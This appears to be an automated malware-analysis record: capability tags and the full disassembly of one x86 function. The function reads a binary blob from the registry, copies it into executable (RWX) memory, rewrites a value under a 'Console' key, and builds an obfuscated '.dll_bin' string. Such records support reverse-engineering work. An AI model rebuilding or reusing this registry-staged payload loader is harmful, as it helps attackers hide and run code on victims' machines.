Function at 0x408c10
Capabilities:
Allocate or change rwx memory
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x542be0
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0xa90
mov eax, dword [0x5a5d40]
xor eax, ebp
mov dword [ebp - 0x2c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xaa0], ecx
mov eax, dword [ebp + 8]
movzx ecx, byte [eax]
cmp ecx, 0xc9
jne 0x408c5b
jmp 0x4090f8
cmp dword [ebp + 0xc], 0x65
jne 0x408f8f
mov dword [ebp - 0x18], 3
mov dword [ebp - 0x14], 0
lea edx, [ebp - 0x1c]
push edx
push 0x20019
push 0
push 0x5543dc
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x408d6a
lea eax, [ebp - 0x14]
push eax
push 0
lea ecx, [ebp - 0x18]
push ecx
push 0
mov edx, dword [0x5a0148]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [ebp - 0x14], 0xa44
jbe 0x408d60
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.0040d47c
add esp, 4
mov dword [ebp - 0xa88], eax
mov edx, dword [ebp - 0xa88]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x14]
push eax
push 0
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.0052bcc0
add esp, 0xc
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x20]
push eax
lea ecx, [ebp - 0x18]
push ecx
push 0
mov edx, dword [0x5a0148]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x408d60
push 0xa44
mov ecx, dword [ebp - 0x20]
push ecx
push 0x5a7218
call fcn.0052b000
add esp, 0xc
push 0x40
push 0x3000
mov edx, dword [0x5a7420]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x5a7c5c], eax
mov eax, dword [0x5a7420]
push eax
mov ecx, dword [ebp - 0x20]
add ecx, 0xa44
push ecx
mov edx, dword [0x5a7c5c]
push edx
call fcn.0052b000
add esp, 0xc
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x5a7424
mov ecx, dword [ebp + 8]
add ecx, 1
push ecx
call fcn.0052d996
add esp, 8
test eax, eax
je 0x408f7f
cmp dword [0x5a7c5c], 0
je 0x408dad
push 0x8000
push 0
mov edx, dword [0x5a7c5c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x5a7c5c], 0
mov dword [ebp - 0xa78], 0
mov eax, 0x767b
mov word [ebp - 0xa74], ax
mov ecx, 0x5f55
mov word [ebp - 0xa72], cx
mov edx, 0x6a21
mov word [ebp - 0xa70], dx
mov eax, 0x5757
mov word [ebp - 0xa6e], ax
mov ecx, 0x2e
mov word [ebp - 0xa6c], cx
mov edx, 0x64
mov word [ebp - 0xa6a], dx
mov eax, 0x6c
mov word [ebp - 0xa68], ax
mov ecx, 0x6c
mov word [ebp - 0xa66], cx
mov edx, 0x5f
mov word [ebp - 0xa64], dx
mov eax, 0x62
mov word [ebp - 0xa62], ax
mov ecx, 0x69
mov word [ebp - 0xa60], cx
mov edx, 0x6e
mov word [ebp - 0xa5e], dx
xor eax, eax
mov word [ebp - 0xa5c], ax
push 0x1e4
push 0
lea ecx, [ebp - 0xa5a]
push ecx
call fcn.0052bcc0
add esp, 0xc
xor edx, edx
mov word [ebp - 0x876], dx
mov dword [ebp - 0x874], 0
mov dword [ebp - 0x870], 0
push 0x64
push 0
lea eax, [ebp - 0x86c]
push eax
call fcn.0052bcc0
add esp, 0xc
push 0x7d0
push 0
lea ecx, [ebp - 0x808]
push ecx
call fcn.0052bcc0
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x28], 0xa45
mov eax, dword [ebp - 0x28]
push eax
call fcn.0040d47c
add esp, 4
mov dword [ebp - 0xa8c], eax
mov ecx, dword [ebp - 0xa8c]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
mov byte [edx], 5
mov dword [ebp - 4], 0
mov eax, 1
test eax, eax
je 0x408f12
mov dword [ebp - 0xa90], 0xb
push 0x58c2c8
lea ecx, [ebp - 0xa90]
push ecx
call fcn.0052b754
jmp 0x408f3e
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0xaa0]
call fcn.00404630
cmp dword [ebp - 0x24], 0
je 0x408f7d
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xa94], ecx
mov edx, dword [ebp - 0xa94]
push edx
call fcn.0040d487
add esp, 4
mov dword [ebp - 0x24], 0
jmp 0x408f8a
mov ecx, dword [ebp - 0xaa0]
call fcn.00408bd0
jmp 0x4090f8
push 0xa44
mov eax, dword [ebp + 8]
add eax, 1
push eax
push 0x5a7218
call fcn.0052b000
add esp, 0xc
push 0x40
push 0x3000
mov ecx, dword [0x5a7420]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x5a7c5c], eax
mov edx, dword [0x5a7420]
push edx
mov eax, dword [ebp + 8]
add eax, 0xa45
push eax
mov ecx, dword [0x5a7c5c]
push ecx
call fcn.0052b000
add esp, 0xc
mov edx, dword [0x5a7420]
add edx, 0xa44
mov dword [ebp - 0xa80], edx
mov eax, dword [ebp - 0xa80]
push eax
call fcn.0040d47c
add esp, 4
mov dword [ebp - 0xa98], eax
mov ecx, dword [ebp - 0xa98]
mov dword [ebp - 0xa7c], ecx
cmp dword [ebp - 0xa7c], 0
je 0x4090bf
push 0xa44
push 0x5a7218
mov edx, dword [ebp - 0xa7c]
push edx
call fcn.0052b000
add esp, 0xc
mov eax, dword [0x5a7420]
push eax
mov ecx, dword [0x5a7c5c]
push ecx
mov edx, dword [ebp - 0xa7c]
add edx, 0xa44
push edx
call fcn.0052b000
add esp, 0xc
lea eax, [ebp - 0xa84]
push eax
push str.Console0
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x4090b2
mov ecx, dword [0x5a0148]
push ecx
mov edx, dword [ebp - 0xa84]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [ebp - 0xa80]
push eax
mov ecx, dword [ebp - 0xa7c]
push ecx
push 3
push 0
mov edx, dword [0x5a0148]
push edx
mov eax, dword [ebp - 0xa84]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0xa84]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0xa7c], 0
je 0x4090ed
mov edx, dword [ebp - 0xa7c]
mov dword [ebp - 0xa9c], edx
mov eax, dword [ebp - 0xa9c]
push eax
call fcn.0040d487
add esp, 4
mov dword [ebp - 0xa7c], 0
mov ecx, dword [ebp - 0xaa0]
call fcn.00408bd0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x2c]
xor ecx, ebp
call fcn.0052b745
mov esp, ebp
pop ebp
ret 8